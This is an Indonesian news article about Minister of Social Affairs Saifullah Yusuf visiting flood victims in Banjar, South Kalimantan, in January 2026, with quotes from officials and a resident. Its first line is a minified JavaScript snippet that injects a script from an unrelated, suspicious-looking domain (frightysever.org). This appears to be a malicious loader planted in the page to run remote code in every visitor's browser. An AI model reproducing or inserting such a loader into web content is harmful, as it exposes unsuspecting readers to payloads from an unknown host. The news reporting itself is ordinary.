(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Setelah mengunjungi posko pengungsian dan dapur umum, Mensos RI, Saifullah Yusuf melanjutkan kunjungan ke titik banjir di Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar, Minggu (4/1/2026) siang.
Pantauan Kanalkalimantan.com, Mensos Gus Ipul berangkat menggunakan perahu karet bermesin lengkap dengan jaket pelampung.
Dalam kesempatan tersebut, Mensos Gus Ipul bersama tim Kemensos RI membagikan bantuan sosial paket sembako, logistik, obat-obatan, dan kebutuhan lain kepada warga yang terdampak.
Baca juga: Banjir di Kabupaten Banjar Merendam 115 Desa di 7 Kecamatan
Bentuk komitmen pemerintah pusat dalam memberikan dukungan penuh terhadap keluarga-keluarga yang terdampak.
Kemensos RI menunggu hasil asesmen yang dilakukan tim Badan Penanggulangan Bencana Daerah (BPBD) bersama Badan Nasional Penanggulangan Bencana (BNPB) terkait data kerusakan rumah kategori ringan, sedang, dan berat.
“Tindak lanjutnya yang rusak berat tentu akan ada bantuan tambahan membeli isian rumah, program pemberdayaan, dan lain sebagainya,” ujar Mensos Gus Ipul.
Baca juga: Mensos RI Tinjau Posko Pengungsian Banjir di Sungaitabuk
Dia mengingatkan, bantuan penanggulangan bencana yang diberikan di Provinsi Kalimantan Selatan sama dengan bantuan di daerah lain seperti yang terjadi di Sumatera.
Sebagaimana arahan Presiden RI, Prabowo Subianto, bantuan diupayakan agar keluarga yang terdampak dapat pulih secara bertahap sampai keadaan kembali normal.
“Semoga bisa membantu dan mendukung keluarga-keluarga yang terdampak,” harap Mensos Gus Ipul.
Baca juga: Terdampak Banjir, Pembelajaran 210 Sekolah di Kabupaten Banjar Dialihkan ke PJJ
Terkait banjir di Desa Sungaitabuk Keramat ini, Mensos Gus Ipul mengaku ketinggian air cukup tinggi sehingga warga harus menunggu dalam keadaan surut agar aktivitas dapat berjalan seperti semula.
Dia memastikan seluruh petugas selalu siap siaga dan membersamai warga untuk mengantisipasi segala kemungkinan yang bisa terjadi.
“Prinsipnya adalah semangat gotong royong harus kita kuatkan saat menghadapi dan menanggulangi bencana seperti ini,” tutupnya.
Baca juga: Puncak Banjir Rob di Banjarmasin Diprediksi Malam Ini
Sementara itu, Sekretaris Daerah Provinsi Kalimantan Selatan (Kalsel), Muhammad Syarifuddin menyebutkan, Pemprov Kalsel tengah berkoordinasi dengan pihak desa, kecamatan, hingga kabupaten dalam rangka pendataan warga terdampak sesuai arahan Kemensos RI.
Pemerintah Provinsi Kalsel telah mendirikan tiga dapur umum, salah satunya di Desa Sungaitabuk Keramat yang melayani sekitar 5.000 orang.
“Kita bikin dapur umum karena ini sangat diperlukan masyarakat. Selain itu ada bantuan untuk kebutuhan mendesak bagi anak-anak, perempuan dan sebagainya,” kata Sekda Syarifuddin.
Baca juga: Dinkes Banjar Operasi Kesehatan Massal di Tiga Desa Rawan Banjir
Salah satu warga Desa Sungai Tabuk Keramat, Saipul Bahri berterima kasih atas kunjungan Mensos RI. Dia menilai hal ini merupakan bentuk perhatian dari pemerintah pusat terhadap banjir di wilayahnya.
“Mudahan ada berkahnya dari kunjungan ini,” ucap Ketua RT 02 Desa Sungaitabuk Keramat itu. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.